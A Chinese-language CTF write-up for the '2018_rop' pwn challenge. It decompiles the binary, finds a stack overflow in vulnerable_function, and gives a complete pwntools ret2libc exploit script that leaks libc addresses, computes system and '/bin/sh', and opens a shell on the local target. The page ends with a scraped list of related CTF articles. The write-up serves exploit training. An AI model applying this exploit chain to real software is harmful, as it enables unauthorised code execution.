题目分析

1 反编译,寻找可以利用的漏洞

void main(void)
{be_nice_to_people();vulnerable_function();write(1,"Hello, World\n",0xd);return;
}

从main函数来看,函数vulnerable_function是个最明显的提示,大概率就是突破点,但是be_nice_to_people也可以捎带看一眼。

void be_nice_to_people(void)
{__gid_t __rgid;__rgid = getegid();setresgid(__rgid,__rgid,__rgid);return;
}

好吧,确实没看到可以利用的点,查了下资料,也没找到这个函数存在的必要性,待定吧。

void vulnerable_function(void)
{undefined local_8c [136];read(0,local_8c,0x100);return;
}

ok,这个就是典型的溢出,read的长度限制比数组长度大。

2 分析利用链

1 查找整个反编译工程,没有看到system或者execve等函数,也没看到/bin/sh字符串,也没找到其他可利用函数,那基本可以确定是ret2libc的套路
2 需要拿到libc中函数的地址,那可以利用的点,就是通过write函数来打印输出
3 然后,通过地址推算出system和/bin/sh的地址
4 需要再次执行,那就需要溢出后能再次跳转到vulnerable_function
5 通过vulnerable_function再次执行溢出跳转到system
ok, 1 2 3 5都是常规操作,4 需要研究下怎么跳转,还好,上篇学到的函数返回地址(call和函数直接调用的区别)可以派上用场,试验一下,果然可行。

利用脚本

1 from pwn import *2 from LibcSearcher import *3 elf = ELF('2018_rop')4 libc = ELF('libc-2.27.so') # 根据环境不同进行替换56 context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")78 #asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode9 #shellcode=asm(shellcraft.amd64.linux.sh())10 #print(len(shellcode))11 #print(shellcode)1213 sh = process('./2018_rop')14 pad = 'A' * 14015 write_got_addr = 0x0804a01016 vulner_addr = 0x080484d4 # 返回地址17 payload = pad.encode()# write函数plt地址 + write函数返回地址 + write参数1 + write函数got地址 + write参数3# 实现效果,打印write函数内存地址,同时返回到vulnerable_function再次执行18 payload += p32(0x080483a0)  + p32(vulner_addr)  + p32(0x01) + p32(write_got_addr) + p32(0x20)1920 sh.sendline(payload)21 content = sh.recv()[:4]22 mem_addr = int.from_bytes(content, 'little')23 print("%#x -> %s" % (write_got_addr, hex(mem_addr)))2425 # 优先尝试lib-database查找26 obj = LibcSearcher("write", mem_addr)27 obj.dump('system')2829 libc_write_offset = libc.sym['write']30 print(hex(libc_write_offset))3132 libc_system_offset = libc.sym['system']33 print(hex(libc_system_offset))3435 libc_database = mem_addr - libc_write_offset3637 mem_system_addr = libc_database + libc_system_offset38 print(hex(mem_system_addr))3940 mem_binsh = libc_database + next(libc.search(b'/bin/sh'))41 print(hex(mem_binsh))4243 # system函数内存地址 + system函数返回地址(这里不重要) + /bin/sh的内存地址44 payload1 = pad.encode() + p32(mem_system_addr) + p32(0x12345678) + p32(mem_binsh)45 sh.sendline(payload1)4647 with open('payload.txt', 'wb') as f:48    f.write(payload)49    f.write(payload1)505152 sh.interactive()

总结

总感觉对于栈的理解不够深刻,需要系统性的学习一下,不过没找到好的资料,只能边刷题边学习了。

【CTF】 2018_rop相关推荐

  1. 【ctf】ret2text

    PWN ret2text 题目链接:ret2text 参考博客:CTF Wiki 基本 ROP 参考视频:[CTF]Linux PWN入门 Bamboofox社课系列 0x01 下载ret2text文 ...

  2. 【CTF】实验吧 困在栅栏里的凯撒

    题目先提到栅栏,再提到凯撒,按照顺序先栅栏解码,再凯撒解码. 一般密码的开头不是flag就是key或者ctf 所以选择"6栏",在进行凯撒解码 在所有组合中,发现CTF即为flag

  3. 【CTF】实验吧 古典密码

    一共是35个字符分成5*7或者7*5 最终选择5行7列 首先变动第一行的位置,然后根据第一行变动的位置,依次变动下面的行 OCU{CFT ELXOUYD ECTNGAH OHRNFIE NM}IOTA ...

  4. 【CTF】实验吧 围在栅栏中的爱

    对摩斯密码进行解码:kiqlwtfcqgnsoo QWE是键盘上的前三个,ABC是26个字母的前三个.所以,二者有这样的对应关系. #include <stdio.h> #include ...

  5. 【CTF】实验吧 奇怪的短信

    和实验吧 The Flash-14有些类似,总共的数字数目是偶数,所以两两分开,题干中的"短信"是提示,观察两两分组的第二个数字没有超过四的,可以想到手机上的九键 例如第一组数:3 ...

  6. 【CTF】实验吧 The Flash-14

    标题的提示是:闪电侠的第十四集用到的加密方式(看来写CTF题要无所不知,不然咋能想到是一部剧) 根据两两一组将数据分类 54  43  32  52  22  44  55  34  22  51  ...

  7. 【CTF】实验吧 传统知识+古典密码

    对照顺序写下: 根据对应的干支得到 28 30 23 8 17 10 16 30   +甲子 所有的数加60 得到 88 90 83 68 77 70 76 90 找到ASCII码对照表可得到XZSD ...

  8. 【CTF】记录一次CTF比赛的Writeup(附题目下载地址)

    0x00 前言 最近因为省赛快来了,因此为实验室的小伙伴准备了这次比赛,总共10道题目,考虑到大多数小伙伴都刚从大一升到大二,因此整体难度不高,当然有几道难度还是有的. 题目大多数都是从网上东找西找的 ...

  9. 【CTF】CTFHub------历年真题-暴力破解/word文件本质/图片修复/数据包分析一/滴答滴答/栅栏解救/磁盘恢复

    文章目录 历年真题 暴力破解 word文件本质 图片修复 好孩子看不见 数据包分析一 滴答滴答 栅栏解救 磁盘恢复 相关知识 CTF中常见的文件头和文件尾 历年真题 暴力破解 1.下载题目附件,发现加 ...

最新文章

  1. Oracle11g创建表空间
  2. ES6之Promise
  3. nil slice 和 空 slice
  4. 两波形相位差的计算值_正弦交流电的相位差,明白了吗?
  5. OpenCV3实现人脸识别(一)——基于OpenCV3级联分类器实现人脸检测与眼睛检测
  6. oracle 12c 多线程,Oracle 12c(12.1)中性能优化功能增强之通过参数THREADED_EXECTION使用多线程模型...
  7. Discuz!NT数据库读写分离方案
  8. MCITP第十二课——642课件2新知识点笔记
  9. redis启动管理脚本
  10. RabbitMQ官方教程一 Hello World!
  11. 工频变压器和高频变压器
  12. G312高速公路S标段路线设计--金陵科技学院道路毕业设计
  13. Tebleau-四象限图
  14. css响应式布局及分辨率(PC端、H5端)
  15. php简单论坛登录注册,php登录注册求救
  16. NLP-准确率、精确率、召回率和F1值
  17. 51_数码管 - DS1302可调时钟
  18. SceneKit做一个旋转的地球效果
  19. 对图像压缩自编码器的理解
  20. 工作汇报 PPT 20PPPT-朴尔PPT

热门文章

  1. css实现纹理条纹,波点背景效果
  2. Golang 安装与常用命令
  3. 《对话》栏目视频下载
  4. 面试遇到MyBatis不要慌,看看这篇文章
  5. java 线程 try catch_Java子线程中的异常处理(通用)
  6. 四个大数相加 问题的分析(转 韩卫平的笔记 )
  7. HandyControl应用之本地图片查看器
  8. 不仅仅是营收170亿这么简单 腾讯云已经成为一切业务的基础
  9. 大江南北十三省,蓬门今始为君开,数字政府建设“实在”必行
  10. 知识付费创业项目怎么做?了解一下助你创业一臂之力